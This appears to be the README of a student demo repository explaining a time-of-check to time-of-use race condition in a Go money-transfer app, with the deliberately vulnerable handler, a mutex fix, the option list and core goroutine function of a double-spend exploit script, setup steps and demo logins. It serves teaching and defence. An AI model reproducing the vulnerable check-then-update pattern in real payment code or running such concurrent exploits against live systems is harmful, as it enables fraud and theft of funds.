Time-of-check to time-of-use is a security vulnerability involving race conditions.
A program is vulnerable to a TOCTOU race condition if it does the following:
- Checks some property or validates some data
- Takes some action based on this information
Why does this happen?
Request A: SELECT balance -> 500
Request B: SELECT balance -> 500 (both see the same balance)
Request A: UPDATE balance -500
Request B: UPDATE balance -500 (both update the balance)
Results: -500
In short, the issue arises in the period between when a transfer checks the balance and when it updates the balance.
It is possible to create a race condition by sending parallel requests, where they all see the initial balance, and later all update the balance as if they were the only request. This creates a problem when only some requests would be able to successfully execute, due to balance hitting zero at some point.
This demo showcases a double spend vulnerability. The system is exploited by several transactions that are executed in parallel. This results in the ability to spend non-existing funds.
The essence of the demo lies in the handlers/transfer.go file.
// ...
amount, err := strconv.ParseFloat(amountStr, 64)
if err != nil || amount <= 0 {
http.Redirect(w, r, "/", http.StatusSeeOther)
return
}
var senderBalance float64
err = db.QueryRow(`SELECT balance FROM users WHERE id = $1`, senderID).Scan(&senderBalance)
if err != nil {
http.Redirect(w, r, "/", http.StatusSeeOther)
return
}
if senderBalance < amount {
http.Redirect(w, r, "/", http.StatusSeeOther)
return
}
tx, err := db.Begin()
if err != nil {
http.Redirect(w, r, "/", http.StatusSeeOther)
return
}
_, err = tx.Exec(
`UPDATE users SET balance = balance - $1 WHERE id = $2`, amount, senderID)
if err != nil {
tx.Rollback()
http.Redirect(w, r, "/", http.StatusSeeOther)
return
}
_, err = tx.Exec(
`UPDATE users SET balance = balance + $1 WHERE id = $2`, amount, recipientID)
if err != nil {
tx.Rollback()
http.Redirect(w, r, "/", http.StatusSeeOther)
return
}
_, err = tx.Exec(
`INSERT INTO transfers (sender_id, recipient_id, amount, timestamp) VALUES ($1, $2, $3, $4)`,
senderID, recipientID, amount, time.Now(),
)
if err != nil {
tx.Rollback()
http.Redirect(w, r, "/", http.StatusSeeOther)
return
}
err = tx.Commit()
if err != nil {
tx.Rollback()
http.Redirect(w, r, "/", http.StatusSeeOther)
return
}Code snippet 1: The core logic for transferring funds using transactions. Note that this code is still vulnerable to the race condition.
Transactions have been added in the fix branch, ensuring the atomicity of the transfers, and as a surface level mitigation.
The core logic preventing the race condition is the sync.Mutex added to handlers/transfer.go.
This ensures that only one transfer can be executed at a time, thus preventing double spend.
var mu sync.Mutex
func TransferHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Redirect(w, r, "/", http.StatusSeeOther)
return
}
mu.Lock()
defer mu.Unlock()
// ...Code snippet 2: The utilisation of sync.Mutex in handlers/transfer.go, preventing the race condition.
It should be noted that sync.Mutex is not the ideal solution, since it offers
protection against race conditions in a single process.
Production environments with multiple instances of the application (like with load balancers) should use more rigorous solutions, like database-level locks.
$ exploit -h
Usage of ./exploit:
-amount string
amount to transfer in each request (default "500")
-email string
attacker account email (default "lmihailovic@mail.com")
-password string
attacker account password (default "password2")
-recipient string
recipient user id (default "3")
-requests int
number of concurrent transfer requests (default 100)
-timeout duration
HTTP client timeout (default 10s)
-url string
base URL of the vulnerable application (default "http://localhost:8080")
Code snippet 3: The exploit script and its options.
The race condition is exploited by creating a large number of parallel transfer requests.
func runRace(client *http.Client, cfg config) (int64, int64) {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
ready := make(chan struct{})
var wg sync.WaitGroup
var successful atomic.Int64
var failed atomic.Int64
for i := 0; i < cfg.requests; i++ {
wg.Add(1)
go func() {
defer wg.Done()
<-ready
if err := transfer(ctx, client, cfg); err != nil {
failed.Add(1)
return
}
successful.Add(1)
}()
}
close(ready)
wg.Wait()
return successful.Load(), failed.Load()
}Code snippet 4: Function in attack/exploit.go which creates the race condition.
Make sure you have Docker and Git installed.
Steps:
- Clone the repository and
cdinto it:
git clone https://github.com/lmihailovic/toctou-demo/ && cd toctou-demo/- Switch to the desired branch (
vulnorfix):
git checkout vuln git checkout fix- Start the database and the application:
docker compose up --build- Upon receiving the
Connection successfulandServer startedmessages, visit the application athttp://localhost:8080. - Log into the application to make sure everything works as expected.
- Start the
exploit.goscript (either as a binary executable or viago run)
On the fix branch, the script will fail to double spend, and won't be able to make the attacker's balance go into negative numbers.
By running the exploit script on the vuln branch, you will be able to double spend and have negative balances.
Admin account:
email: lobradovic@mail.com
password: password1
User accounts:
email: lmihailovic@mail.com
password: password2
email: vlazarevic@mail.com
password: password3
| Name | Task | Branch |
|---|---|---|
| Luka Obradović | Vulnerable application | vuln |
| Vukadin Lazarević | Exploit script + containerization + instructions for running | vuln |
| Luka Mihailović | Safe application + documentation | fix |